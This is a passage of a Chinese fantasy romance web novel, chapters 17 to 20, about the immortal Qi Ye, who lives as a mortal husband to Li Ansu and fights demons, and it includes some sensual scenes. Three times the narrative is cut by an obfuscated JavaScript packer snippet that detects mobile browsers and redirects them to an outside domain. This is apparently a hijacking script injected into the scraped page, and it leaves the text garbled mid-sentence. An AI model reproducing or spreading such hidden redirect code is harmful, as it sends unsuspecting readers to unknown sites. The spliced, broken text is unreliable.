“别动她。”岐晔收回冷箭,仿佛刚才阴狠的人不是他。 事实上以岐晔的强大,这六界真的能威胁到他的人就是已经被封印的安愫,但连他自己都不理解,为何失态成这样? 岐晔错愕地望着自己的手。 冷经赋习惯了,摆了摆手,“这里还留着安愫的气息,她若是回来过就会感知到。” 岐晔望着面前的一地残骸,这里气运闭塞,已经过去三万年的战场还是昨日的模样。他闭上眼睛,那股令人厌恶的味道立刻钻了进来,像是毒蛇一样。 安愫当年身上最喜欢用某种凡间的香,在他看来低俗、糜烂,浓郁的香味和她这个人一样,令人唾弃、恶心。 岐晔永远记得这个味道,但始终不知道是什么花。 “没有,她没有回来过。”岐晔简短地说。 冷经赋:“你属狗的?” 岐晔:“……我回去了。” 走到峡谷之外,等待已久的高手立刻围了上来,都是冷经赋豢养的打手,每一个都是六界的强者,他们纷纷手握武器。 “不好意思,岐晔,我不能让你顺利离开。”冷经赋走出来,“糖炒栗子我可以帮你拿——” “簌——”一声尖锐的声响,几支箭飞快向他射来,岐晔不躲不避,抬手接住那些箭雨,又在手上化作齑粉。 岐晔碾了碾,那些粉末为他所用,化作利刃,射向那些人。 而他手里始终握着一份糖炒栗子,岐晔能感觉到手里的温度正在逝去,他逐渐失去战斗的耐心,只想要以最快的速度解决。 冷经赋眯了眯眼,这个人比几百年前更强大了,真是不公平。 忽然,一个打手劈手向着岐晔飞去,他立刻躲避,可那人反手换了个方向,抢夺糖炒栗子。 岐晔脸色一沉,用力一脚踢在这人的腹部,带着仙气的一掌隔空打在他的头上。 糖炒栗子腾空,片刻后,稳稳落在岐晔手心。 岐晔睥睨着倒了一片的人,只要不挡他的路,他不会取任何人的性命。 落日被吞没在天际,岐晔也消失在那里。 等人离开后,地上的打手们叫苦不迭,那个抢糖炒栗子的人伤得尤其重。 “主,我们现在连十招都接不过了……怎么办?” 冷经赋蹲在高处,望着岐晔消失的地方,讥讽勾唇,“怕什么,我已经发现了他的弱点,你们没发现,他这一次连一字伞都没拿出来?” * “岐晔!”李安素四处张望,走在镇上。 已经临近傍晚,人们都有各自的家要回,她闻着萦绕在鼻息中的饭菜香,声音越来越急促。 她累坏了,身上又没有多余的钱,就抱着一块玉佩,坐在护城河边,直到夕阳将她的影子拉到无限长。 不知道过了多久,一只脚踩在了她的影子上,李安素立刻抬起头来,头上的碎发立了起来。 岐晔气喘不匀,一身衣服弄得有些凌乱,还沾了些污渍,有些狼狈。傍晚的风吹过,掀起一阵香味。 17. 无情道 李安素吸了吸,看向他鼓囊的衣服,岐晔从衣服里拿出一袋糖炒栗子。 岐晔抿唇,接住她扑过来的身子,“你去哪里了?” 他语气有些颤抖,平日里的冷静荡然无存,这一刻仿佛真是一个找不到娘子的急迫男人。 李安素闭上眼,飞快地抱紧他,“你才是去哪里了!我找了你好久,真是的……你不知道,有个魔族小孩抢了你的玉佩,我赶紧去追了,差点就……” 岐晔眼瞳射出一道寒芒,如果李安素受了伤他会立刻去杀了那个魔,“你受伤了?” 李安素絮絮叨叨地说完,想起自己夫君对魔族有着莫名的恨意。她咽了咽口水,看向那栗子:“给我剥。” 两人坐在台阶上,一个剥栗子一个张嘴吃。 “那你怎么不当了玉佩还钱回去?”岐晔抿唇,热腾腾的栗子被他捏在手里,纤长骨感的手指慢条斯理地剥。 尽管慢条斯理,但速度可不慢,李安素很快就鼓囊着脸颊摇头。 “那怎么行,这是你的入门修炼的玉佩。”李安素咽下口中的东西,想要接过一只栗子,只是手刚碰到就被烫了,“嘶!你都不知道烫的?” 岐晔一愣,他回来的时候这份栗子已经凉透了,他就用火功烤了一下,谁知道用力过猛把栗子烧成碳了,他立刻跑过去重新买了一份。 “没想到现在还热着……”李安素咕哝一句。 岐晔勾唇:“多吃一点。” 回到家里,李安素第一时间拿出今天买的东西,“你看!这是我今天卖到的香包,刚路过我就觉得好闻,你快闻一下!” 一个模样丑丑的香包被她掏出来,一下子放在了岐晔面前,他错愕了一下,接过来。 那股浓郁的味道立刻钻进他鼻息间,他立刻屏住呼吸。 “怎么了?不好闻吗?” 糜烂、隐晦又勾人深入的香味立刻勾起岐晔不好的念头,他看向李安素,“你很喜欢?” 李安素点头:“当然!我特别特别喜欢!立刻就买了,老板说这是一种长在山谷里面的花,叫经春草,是不是很好闻?”她满眼期待地凑上来。 “很……好闻。” 李安素点头:“那我就挂在床里面了,每天都可以闻到……” “等、等!你要挂在床上?!”岐晔按住她的手,“还是……” 他看着那香包,这味道实在太香了,和安愫当年那股味道一模一样,他简直可以用厌恶来形容,谁知道自己娘子特别喜欢。 “我还想要在院子里种这个草呢,你说什么样的草会这么香啊?”李安素把香包盖在自己鼻子上,大口吸了下。 岐晔:“……你喜欢就挂吧。” 家里的东西一向都是听李安素的,吃什么、用什么、买什么,她很少问岐晔的意见,毕竟他也没什么意见。 岐晔没吃过、没见过、没用过的东西实在太多了。他的世界好像只有李安素一个人,她代表着食物、衣裳、房子,代表着一切烟火寻常,代表着岐晔所有的凡间记忆。 这个香味闻多了,岐晔也觉得还好,就是身上的温度很高,久久下不去,他抱着李安素很久才睡。 李安素也不知道怎么了,是不是自己闯了什么祸,岐晔有点生气的意思,不然怎么咬着她的指尖不放呢? “呜……”李安素口中溢出一丝喘息,被岐晔捂住,这个男人好坏,连声音也不准发出。 岐晔难耐地索取,床榻上的风铃叮当响,昭示着这场令人面红耳赤的秘密。 李安素的手被迫放在岐晔脸上,坐在床上,腿儿被箍紧了,指尖被吃进去,她昏昏欲睡。 “好、好了……差不多行了……” 翌日一早,李安素买了点醋路过了王婶家,被叫住了,她回过头,村里几个妇人坐在一起谈话。 “安素啊,你买东西回去了?”王婶笑笑,只望着李安素的脸不说话。 一个妇人凑近说:“安素成亲后是眼看着变漂亮了,明明不打扮,怎么反倒细皮嫩肉了。” “你别说还真是!看来是夫妻关系好。” 李安素脸一红,又走了几步,听见王婶挑起话题:“你听说了没,镇上的那个人……修仙之后就取了别的姑娘,还说不是娘子……是、是道侣!” 另一个妇人插话进来:“对对对!这高修仙的就是不一样哈,说的话高级多了。” 说话的人眼前的光影那被遮住,她抬起头,却对上了李安素的眼睛,后者笑了下:“婶婶,您刚说什么呀,我也听听。” 多年前,镇上一个男人天资聪颖被选去修仙,糟糠之妻在家里卖货供养他,谁知道这人回来之后就休妻,身边还多了一个道侣。 李安素越听越不是滋味,她想起那块玉佩,这说的不就是她和岐晔吗?岐晔得道成仙后是不是就会不要她了? “安素,你怎么了?”王婶看了眼她,“你脸色不太好呀,话说你和岐晔也成亲这么多年了,也该要个孩子了吧?” 李安素抿唇,“王婶,岐晔可能要去修仙了。” 片刻后,几个婶婶发出一股惊叫:“你这还等什么,赶紧想办法呐,这男人发达了第一件就是忘本!” 李安素纠结地揪着衣服,“可、可那长老说他有天资,他也没说不想去。” “那可是修仙啊,哪个男人能拒绝?我听说有些人修炼的那叫无情道,越炼越没人味儿!” 李安素站起来:“不可能!” “你赶紧想想办法吧,别看岐晔平时对你不错,说不定心思挺多呢。” 李安素觉得岐晔心思肯定是比她多的,要是想玩弄她简直易如反掌。她担忧地往回走,翻出那块玉佩,看了又看。 傍晚,天上下了小雨,雨水淅淅沥沥的,岐晔出去上课了,李安素望着天色。 片刻后,有人敲门,李安素打开门,望着来者,瞬间就想关门。 “你来做什么?” 她警惕的目光让沉锦休失笑,他摇摇头:“姑娘不必忌惮我,我只是奉命办事。” 李安素退到桌边,“坐吧。” 沉锦休坐下来,李安素就站在离他好几尺的位置。整个房子内部被沉锦休尽收眼底。陈设简单、装潢清贫,不过不染纤尘,倒也说得过去。 沉锦休视线落在木屏风后的床榻,鲜亮的床榻露出一半,一个深色的枕头和一个红色的放在一块,干净绵软的被褥叠得很整齐。 “岐公子呢?”沉锦休看向李安素,伸手在桌上放了一个小盒子。 李安素打开来看,是一盒金子,她瞬间白了脸,“你给我这个干什么?我不要你们的东西。” “这是一点心意,希望李姑娘放下偏见,我们还能好好谈谈。”沉锦休勾唇,“岐公子还没回来吗?” 外面的雨越来越大了,伴随着阵阵雷声,李安素想着岐晔应该带了伞,走到出橱柜前打算倒杯水,谁知道看见了角落里的伞。 她愣了愣,“你等等,他没有带伞出门,现在应该放学了,我出去接他。” 沉锦休听了立刻就要起身,却被李安素拦住,“你在这里等吧。” 她握着角落里放着的伞,打开门就往外走,撑着的那把伞有些过于精致了,和房子格格不入。 沉锦休收回视线。 家里只有一把伞,不过自从拿到的那一刻,至今三年依旧很新,李安素用习惯了。 素白的伞被她窝在手里,她脚步不断加快,从衣兜里掏出那块玉佩。 李安素垂眸,把玉佩握在手心里,裙角沾了水,她略过山头,远远看见了一座学堂。 “吽——” 一道牛吼声从身后传来,一道沉甸甸的身躯从她身后窜上来,扑倒了地上两个孩童。 李安素的手臂被擦过,瞬间红了一片,手里的玉佩也被砸了出去,在地上发出环佩之声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462997|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她手里的伞瞬间飞出去,砸在地上,李安素整个人暴露在雨幕中,前头的女人瞬间转过头来。 “嘶——”李安素捂着手臂,顾不上伤口,爬上去把玉佩捡起来,一抬头,却看见了一个女人。 那女人穿的不是寻常衣服,风情万种的眉眼睥睨众生,看了眼她,“你是从哪里来的?” 般若皱着眉头,她刚才竟没看见这个凡人,“不准走。” 李安素退后几步,远处两个孩童的尖叫声唤回了她的注意,李安素立刻站起来,“你、你们又是谁,你不是凡人吧?把孩子给我放了!” 般若托着下巴,她眯了眯眼睛,抬手点了点手指:“乌桕,别吃了。” 那头魔兽听话地摇了摇尾巴,恋恋不舍收回动作,两个孩子捡回一条命,颠颠撞撞地往前跑了。 李安素松了口气,却在下一秒,一把刀向她砍来,她顿时吓得跪下来地上。 般若苦恼地想了会儿,怎么看也没看出她的过人之处,“你是凡人?” 李安素仓皇点头,想不到这个女人真的会杀她! “大、大人!求您放我一命,我上有老下有小……求您……” 般若见多了人求饶,狡黠地笑了下,“那怎么办,你不知道魔族的人最喜欢滥杀无辜,我凭什么放了你?” 般若原本就是来凡间找人的,不久前她在魔界看见岐晔去了凡间,至今一直在找,今天倒是撞见了一个冒冒失失的凡人。 笑着笑着,般若脸色一凛:“乌桕,把她吃了。” 乌桕飞凯窜上来,乖巧地蹭着她手心,张大了嘴巴就要吃掉李安素。 “救命!”李安素吓得手足无措,魔兽喷出来的热气带着血腥气,她几乎快要流下泪来,她握紧了手心。 戴了三年的戒指忽然有了形状,硌得她手心疼痛难当,戒指散发出浅浅光芒,她看不见,颤抖着闭上眼睛。 空气安静了一瞬,要不是没有半点疼痛袭来,她简直要以为已经已经魂飞魄散了。 魔兽不知为何停在了咫尺之间,没有对她下嘴。 般若的声音从远处传来:“乌桕!快走!尊主有情况!” 般若头也不回地消失在视线中,只有点点滴滴的雨水砸在李安素脸上,她大口喘息,才后知后觉地哭出来。 李安素爬起来,第一时间捡起玉佩抱紧怀里,左看右看,那把素白色的伞还是落在角落里。她闭上眼睛,撑着伞往学堂走去。 人命轻得比纸还薄,她这辈子就是认人搓圆揉扁的命,但岐晔不一样。 李安素擦了擦脸上的污渍,走到学堂门前,看见不少学生都往外走,嘈杂的环境中传出一道温润的声音:“回去的路上小心。” 岐晔抬手,和一个小女孩说话,一抬头就看见李安素,他愣了愣。 “娘子。” “不好意思啊,是不是就你还在这里?我今天——”李安素酝酿着,话还没说完。 “你的身上怎么了?”岐晔抬手,还没有碰到李安素,后者立刻退后。 “我、我没事……”李安素生怕他看出什么,连忙捂着头。 岐晔不顾她的反抗,摸了摸她的头,拿下来的时候,手上多了一片树叶,“干什么去了,弄得脏兮兮的。” 李安素把伞塞到岐晔手心里,玉佩就挂在伞柄上,“你撑伞。” 岐晔讶异:“这玉佩,你不是说不见了吗?” 李安素脸一红,这都是骗他的谎言,但这个男人从来不怀疑,她推着他往回走,“回去吧,家里还有人等着。” 但手没有推动,岐晔看了眼已经不早的天色,摁住她:“不是什么重要的事,先带你把衣服换了。” 李安素低头,脚边积了一摊小水渍,她局促地低下头,她这会儿怕是连亵裤都湿透了,“没有衣服……” 岐晔牵着她,皱紧的眉头始终没有放下来,“去买。” 18. 修炼 他们买嫁衣的那间衣裳铺子,老板娘还是同一个人,一眼就看见了他们,“这是……” 岐晔笑了下:“我们买衣裳,给我娘子买一身好的。” 李安素低着头,发丝带着泥水,她眼眶通红,泪水始终含在眼眶里,就是不落下来。 老板娘见状退出去,只留下一套干净的衣服。 岐晔拿过毛巾,动作从容,但仔细看是在颤抖的,他一点点把李安素包裹起来,擦干她脸上的污渍,额头、眼睛、唇瓣、耳朵。 岐晔的手指冰凉,隔着毛巾描摹过每一寸。 “为什么让我去修仙?”岐晔的声音沉沉传来,“今天发生了什么,告诉我。” 李安素低着的头被他抬起来,这一次,她终于敢和他对视。李安素忍了很久的哭腔爆发出来。 “呜……岐晔!你不要去修仙,我不想要你去……!”李安素管不了身上的脏污,她一股脑扑进男人怀中。 岐晔不算宽厚的身躯晃了下,连忙稳稳接住她,还轻轻在她肩头抚慰地拍了拍,“好、好,我也不想去。” 李安素埋着头,用力摇头,“不行,你一定要去,你一定要修炼成很厉害的大人物。” 岐晔抿唇,淡淡拧眉。 他原以为自己在人间三年,已经很了解凡人的习性,复杂又简单,只要靠近,每一种心思都好猜。 但遇上李安素还是觉得很困难,她的心思难猜,就像现在,他不明白。 “我到底还去不去了?”他失笑。 下一刻,怀里的人猛然窜上来,用力亲了他一口,岐晔错愕低头,放在她肩头的手加重了力道。 那股令岐晔皱眉的香气又扑了过来,几乎要把他都染上味道,他不喜欢,所以略带惩罚地咬了下她的耳垂,李安素哼了一声。 毛巾落在地上,湿漉漉的衣服堆积在脚边,李安素像是无尾熊抱上来,岐晔接住。 李安素受伤的手臂搭在男人肩头,缓缓垂下去,零星的痛感冲散在灼热的呼吸间。岐晔牵着她的手,一股仙气自他流向她,伤口渐渐消失不见。 那些弄脏的、擦伤的地方,都在岐晔的拥抱里被治愈。 过了很久,两个人从换衣间走出来,岐晔一手拎着湿漉的衣服,一手牵着她。 买过账后,回去的路上,沉锦休还等在村头,见到他们回来,立刻上前。 “我去。”岐晔把玉佩递过去,在沉锦休欣慰的视线中,他揽过李安素,“我每日下山回来住。” 沉锦休耸肩,这种他见多了。 * 夜色浓郁,怀里的人已经睡熟了,最开始他们都不习惯贴在一起睡觉,奈何床榻太小。 后来有了钱,李安素想要换一个大一点的床,或者买两个床,岐晔却不同意了。 岐晔轻轻推开她,放下她搭在自己腰间的手,推开门走出去。 人间的时间流逝快,他现在出门到明日晚上回来,大概能一个来回,还必须保证李安素不会发觉。 岐晔闭了闭眼睛,看向角落里的一字伞,抬手,那伞立刻自己撑了起来。 神器常年被用作挡雨工具,它也是颇有怨言,这次终于能用作正确用途,兴奋不已。 岐晔先去了魔界。 万年如一日的魔气往他身边靠近,被他的仙气吸引,越来越多的魔兽冲上来。 鬼哭河上游,是忘川河,很多年前,岐晔曾在这里和安愫打过一架。 远远望去,忘川河之上,除了奈何桥,还有一座无头雕像,旁边用一个巨大的牌子写着“岐晔狗贼”。 岐晔:“……” 他像是看不见,略过那些鬼魂,走向守门的护卫,“我要找般若。” 魔界一共有两口大门,其中一张门已经不开放了,现在要进去,只能通报。 那护卫眯着眼睛,昏昏欲睡,看见是一个长相漂亮的男人,下意识以为是凡人。 这六界,长得最好的是凡人,魔族其次,神族最丑。 护卫抬手往身后一指:“去排队吧。” 岐晔拧眉,一看,各个族他认识的、不认识的都在排队,他嘴角抽了抽,“我要见般若,不是来排队的。” 护卫不耐烦了,“你到底见不见?咱们般若王是你想见就能见的?这个已经排了两百年队了!”他指着站在队伍中的一个妖精。 岐晔抿唇,他没那么多时间,看了眼那些鬼魂,不让他过? 他笑了下,抬手,手上多了一把伞,那把伞被他一抛,像是有生命一般,飞向那座无头雕像。 护卫原本没管这个魔界打伞的疯子,谁知道下一刻,那座巍峨的雕像被打破,巨大的石块眼看着就要砸下来。 “喂!你他娘的干什么!这里是魔族!你们神族小心点!”护卫回过头,恶狠狠的剜了岐晔一眼。 岐晔摆摆手,天阳一字伞“哗啦”撑开,里头泄露出九天华光,照在每一个魔将身上,那些魔将痛得在地上打滚。 “我毁了自己的雕像,有什么问题?” 这一声一处,全场哗然,护卫不可置信,支支吾吾道:“快、快请般若王!岐晔、岐晔狗贼来了!” 岐晔大摇大摆走进去。 魔族内部管理混乱,有些地方王几千年也不回来一次,般若也是难得回来一次。 宫殿里。 “好巧,你在这里。”求败靠在门边上,抬手打了个招呼,笑得贱兮兮的。 般若撩了下头发,缓缓披上衣服走出来,遮住了身上的痕迹,偏头瞥了眼求败一眼。 身后跟着一个男宠,那男宠唯唯诺诺,不过皮囊不错。 求败脸色沉了沉,“尊主最厌恶沉迷美色的,你忘记了?” 般若毫不在意,一边走一边抬手给自己穿戴整齐,“你有什么话快说。” 求败抿唇,上前一步,他实在看不下去般若这副模样,“自从尊主离开后你就一直这样,你到底想要干什么,我可以帮你!” 般若瞥了他一眼,眼神中尽是不屑,仿佛他是个无关紧要的人,这样的模样刺痛了求败。 “求败,有时候我真怀疑,你该不会是对几千年前那一晚动了真心吧。” 提到几千年前,求败的神色一凛,他收回了手,“别跟我提这个!” 般若无语凝噎,坐在了桌上,露出了手臂上的纹路,那是蛊纹,如今已经愈发严重,求败有些不忍心。 “现在多久发作一次?”求败紧盯着她的手,想要牵着她,却被她躲开了,“还痛不痛?” 几千年前,般若体内地蛊毒发作,恰好遇上了求败, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468828|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人荒唐一夜,她体内的蛊毒这才被他撞破。 “尊主不愧是尊主,她下的蛊毒,六界无人能解,现在我只有等死的份儿。”般若撩动自己的长发,卷卷的发丝垂落至胸前,“只是她也没想到,当年那个端茶送水的小树精,如今会成为魔族的一方王吧。” 求败放下手,又恢复了那副模样,他背着手站在阴影中,看向大门口走进来的人,缓缓开口说:“哟,稀客啊。” “歘——”疾风被切开,魔界浑浊的空气冷不丁混进来一股真气,那股真气直朝着般若而来,她下意识抬手去接。 刹那间,般若的右手血肉飞裂,指骨被直直切了下来,她疼痛难当,却依旧看向了来人。 “果然是你。”般若淡声说,只是额头上的汗水却不像她的声音一样平缓。 岐晔刚才那一招是朝着她的命去的,若不是她坐得歪了,现在已经身首异处。 “就这么着急,来杀我都不想浪费时间?” 岐晔从珠帘后走出来,看向一男一女,“我无意偷窥你们苟且,该不会不欢迎我吧?” 般若皱起眉头,她不喜欢这个男人讲话的方式,不过他令人讨厌的地方实在多了,“你来这里做什么,我好像没有和你有过什么接触?” 岐晔抿唇,“你在凡间滥杀无辜,我来取你的命。” 般若冷淡勾唇:“你觉得自己说的话有几分可信度?” 话音刚落,岐晔抬手,掌心幻化出一道佛光,瞬间把般若和求败的眼睛灼烧,二人疼痛难忍。 求败喉咙里挤出支离破碎的声音,他还有力气嘲讽:“岐晔……即便你是六界第一,也没有资格杀了我们,怎么,当年的预言要实现了……?” 般若跪在地上,似乎想不出自己怎么惹了岐晔,电光火石间,她想起昨日去凡间的那趟,确实是杀了些凡人……但不可能,岐晔又不是什么心怀大义的好人。 忽然间,所有力量抽走,般若大口喘息,简直不敢置信自己捡回了一条命,她捂着胸口,刚想质问他为什么,却只见岐晔转身走了出去。 “你等等!岐晔!你把话说清楚!”求败不肯,刚走出去却听见身后传来痛苦的喘息,他咬了咬牙,转过身蹲下来,“般若!你没事吧?” 求败伸出去的手收回来,只是蹲在地上,听见般若细微的动静。 但女人只是拍开了他悬空的手,“滚开。” 出门后,岐晔立刻找了个地方撑住,他手撑在石柱上,不可置信地盯着自己的手。 指尖被仙气笼罩的地方,正不断泄露出一星半点的魔气,他捂着胸口,从口中吐出一大口鲜血。 “咳咳咳……”岐晔闭上眼睛,缓缓离开了魔界,他没有着急回凡间,而是转身去了天云涧。 多年前,大概是岐晔刚和安愫成为六界第一的时候,一神一魔,两方势必有一场恶战。 不周山脚下有一块预言石,上面有预言,有一天忽然浮现了“亦神亦魔,六界必诛之”。 安愫那个蠢货,以为亦神亦魔说的是自己,气得直接轰了那块预言石,但只有岐晔知道,他的身体从那时候就不对劲了。 比起一个高伟光正的佛神,他更像是一个被仙气包裹的魔物,骨子里的魔气总有控制不住的一天,他甚至病态地有些期待。 19. 师姐 “主上?”阿全的声音朦胧传来,他走到墙角处,看见的就是这副模样的岐晔。 岐晔浑身散发着魔气,浓郁的魔气熏得周身的仙草都死了一片。阿全立刻施法稳住岐晔的心神,“主上?您受伤了吗?” 岐晔摇头,终于稳定了下来,“我没事,去拿纸笔来。” 阿全点头,把岐晔扶进屋子里,拿了一支毛笔和一张纸,“主上,天云涧没有墨了……” “不用。”岐晔抬手,屏气凝神,手指上瞬间多了一道口子,鲜血如注,很快就沾湿了毛笔。他抬手在纸上写了几个字。 那张纸贴在了天云涧屋顶,化成了一道咒语。 “阿全,天云涧很快就会隐匿气息,你回蜀山吧。”岐晔瞥了他一眼,“当年我救了你一命,你在我这里报恩百年,现在也已经够了。” 阿全愣了愣,跟在岐晔身边多年,他知道岐晔是遇见了什么大事,但他不打算问。 “主上放在我这里的东西,要取回去了吗?”阿全缓缓道。 岐晔摇头:“不用了,你好好活着就是最好的保存。记住,出去之后不要死。” 阿全点头,收拾了自己的东西,头也不回地离开了。 岐晔看着他的背影渐渐消失在天边,整个天云涧渐渐失去光芒,那道符咒逐渐消失。不过片刻,这幢房子就会消失在六界观察之内。 天云涧透着一股死寂,没有鸟兽、没有生气。耳边也是一片恐慌的安静。 岐晔闭上眼睛,听见了溪流声、虫鸣声、树叶声。他以为自己听错了,直到垂落身前的手有了温度,他动了动自己的手指。 再睁眼时,又变成了那个冰清玉洁的神尊,浑身都是通透的仙气。 山间雨幕深深,男人撑伞而行,修长的身姿略微纤弱,卓然的神气随他走动而四散。 他走向凡间,走向小镇,走向村庄,每走一步,身后的天云涧就消失一寸,直到消失无踪。 “回来了没啊,怎么还不回来……”李安素手扶在门边,开着门远远张望着,怎么也没看见那抹身影。 李安素低头,那枚戒指硌得门板轻轻响,她伸手摁了摁,又对着它吹了口气,“你再不回来,我就睡了啊。” 天边的夕阳被吞没,桌上的阳光被收回去。李安素垂头,正要关门,听见了远处传来脚步声。 “岐晔!”李安素惊喜回头,迎上去,“你怎么回来得这么晚,你是不是又出事了?” 岐晔扯出一个笑,也不知道是不是李安素的错觉,她总觉得夫君今日多了点人味儿。 “什么叫‘又’?我没有出事。”岐晔抱歉地笑了笑,“你饿了吧,我去做饭——” 岐晔走近,一眼看见桌上的饭菜,他讶异了一瞬间,转头看向红着脸的李安素。 “你一直不回来,我就尝试着做了饭,谁、谁叫你一直不回来的!我都饿了。” 说是自己饿了,可桌上的饭菜一动未动,显然是留着等他的。 岐晔勾唇,抱了下她,“都冷了,我去热一下。” 李安素靠在门边上,厨房的烛火点了起来,昏黄的光影落在岐晔的侧脸。他认真燃了火,把凉了的菜饭放进锅里热。 锅里发出咕嘟咕嘟声,李安素拿出了一个布袋子,“这是你明日要用的东西,我已经给学堂里说了,你以后就好好修炼。” 李安素踮脚把袋子里的东西拿出来,水袋、糕点、手帕…… 岐晔还不知道她准备的是什么,直到看见挂在包上的玉佩,才意识到这是给自己用来修炼的包裹。 “明日你就带这个上山。”李安素抬起头,对上岐晔的视线。 岐晔勾唇,他没有拒绝上山,是因为看出了归元宗的猫腻,但在这个凡人眼里,自己是要离开她上山修仙的。 “怎么了?”李安素捂着脸,“我脸上有什么东西?” 烛火落在夫妻之间,李安素逐渐低下头,看着自己的足尖踮起来,被男人的手掌捞过去,扣在手里。 伴随着铃声的叮当声,她抬头,看着窗帘上挂着的香包。耳边很吵,锅子的声音、虫鸣的声音,但岐晔还是觉得太安静了。 “说说话吧,今天有没有遇见什么人?”岐晔抬起头来,这三年里,他有时候不知道怎么简单相处,就这样问她。 李安素想了想,忽然亮了亮眼睛:“我今天遇见了怀先生!你知道怀先生吗?!” 她激动得站起来,手里的碗筷晃了一下,“怎么会有人十年如一日,他还是那么受欢迎,唱得也好听……” 岐晔表情僵了僵,觉得让李安素说话是个错误的决定,“你听他唱戏了?” 李安素摆手:“不是,我去酒楼买糕点,看见他和归元宗弟子一起进了酒楼,路过的时候他在唱戏。” 门关着,她没听见多少,只听见了零星的几句。 “真好听,唱的《抬花轿》……”李安素托腮,敲了敲碗筷。 岐晔看向她没吃多少的饭菜,往嘴里送了一块萝卜,“怎么不去见他?” 李安素愣了下,脸上浮起一片薄红,古怪地低下头,“你还真是张口就来啊,那是什么人?那是我想见就见的吗?” 岐晔起身,拿过她手里的碗筷,“不吃了就算了,以后不准去见他。” 李安素没听明白,片刻后站起来,“为什么啊,人家还不愿意见我呢。” 岐晔没理会,低头开始洗碗,随着李安素的话语,洗碗的动作越来越大。 直到入夜,李安素还停留在自己做饭的手艺里,她满意地点头,“看来做饭也不难嘛,我以后也可以做饭了。” 李安素双手合十,想起王婶说不会做饭的女人男人会嫌弃,她喜滋滋地凑过去,“岐晔,我做的饭是不是很好吃?” 岐晔刚沐浴过,顺手把李安素的衣服洗了,一边擦着手一边进屋。青筋浮现的手背上泛着水汽,颀长的身影一走进来,空气中多了些皂香。 他闻言顿了顿,“嗯,还可以。” 李安素忍着笑:“太好了……以后你不回来也可以了……” 岐晔想到刚成婚的时候,李安素因为不愿意自己尝试做饭,他不论再晚都要回来做一顿饭。 李安素手里的戏本子被抽走,换上了一本《诗经》,她抬头,对上岐晔严肃的脸。 “不好吃,不准再做了。”岐晔冷静开口。 “可、可我觉得不难吃啊。”李安素坐起来,据理力争地反驳:“人总要尝试的,你怎么能这样打击我呢?!” 岐晔盯着她,严肃的模样仿佛说的是天下兴亡的大事,“家里穷,别浪费菜了。现在,学诗。” 李安素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛子薇坐下来,这房子狭小、简陋,陈设干净,连一个像样的家具都没有,桌子也是不知道什么品种的木头。 她嫌弃地坐下来,刚想要和岐晔说说话,却见李安素也坐了下来:“你不去做饭?” 李安素莫名其妙地看过去,吐出两个字:“岐晔。” 岐晔不知道什么时候已经走进了厨房,叮叮当当的声音传来,很快响起了锅子的声响,热油噼啪声、刀锋切菜的声音。 盛子薇:“你和他怎么成亲的?” 李安素想到什么,她和岐晔确实不算是正常的开始,总不能说她捡到岐晔,岐晔为了报恩,两人稀里糊涂地就成亲了吧? “咳……额,父母之命媒妁之言。”李安素面不改色地撒谎。 岐晔端了饭菜上来,盛子薇连忙站起来:“岐晔——” 岐晔笑了下,对她说:“师姐,和我出来一下。” 盛子薇忙不迭地跟上去,她一直想要和岐晔有个独处的机会,现在是最好的时候,她不屑地看了眼李安素,转身出去了。 岐晔一直往前,直到走到村后的半山腰,才缓缓回过头。 盛子薇:“岐晔……我知道,你和那个女人只是勉强在一起的,我会给你很多东西,你答应了我吧。” 岐晔温和地笑了下:“答应你什么?” “答应和我在一起。” 20. 生气 岐晔漠然的眼神隐没在黑暗中,盛子薇自顾自地又说了许多,可岐晔只看得见角落里那抹躲藏的衣角。 他笑了下:“好啊。” “真的?!”盛子薇抬起头来。 同时,一道声音冒出来。藏在树干后的李安素再也忍不住,站在石头上,“岐晔!你个混蛋!”说完,李安素头也不回地跑了。 岐晔嘴角扯出一抹笑,只是这笑容仿佛恢复了那抹冷静模样,他冷冷勾唇,“盛子薇,你体内的魔气已经藏不住了,不管管吗?” 他手里的驱魔招式已经凝结成一把剑,比盛子薇见过的任何剑法还要强大。 轰的一声,盛子薇只觉得自己浑身的血液倒流,实际上也没错,因为她的身体确实在喷血,一股浑浊的液体随着血一起喷了出来。 而岐晔只是缓缓往旁边移了移,免得被血溅到。 从一开始,任由这个女人接近自己,就是因为她体内的魔气。他缓缓拧眉,整个归元宗已经变成了魔气培养基地。 那里面浓厚的魔气,就连他都没有把握除净。 “说吧,还有多少和你一样的人?” 盛子薇捂着自己的脸,那张脸已被魔气污染,她跪在地上。体内的魔气控制不住地想要找到合适的宿主,竟然不怕死地往岐晔涌去,被他一脚踩碎。 “我、我不知道你在说什么……你不就是个普通人,为什么会知道这些……” “想要快速修炼,你们都吃了什么?练了什么?”岐晔眯了眯眼睛,“我原本不想对你下手的,但你,太不知死活。” 他完全可以清除这些魔气,但他任由这些魔气肆虐,让这个凡人承受着巨大的痛苦。 “是、是长老给我的秘法……我只知道这么多……”盛子薇微弱的声音传来。 解决完盛子薇体内的魔气,岐晔才往回走,一眼就看见被关紧的房门。 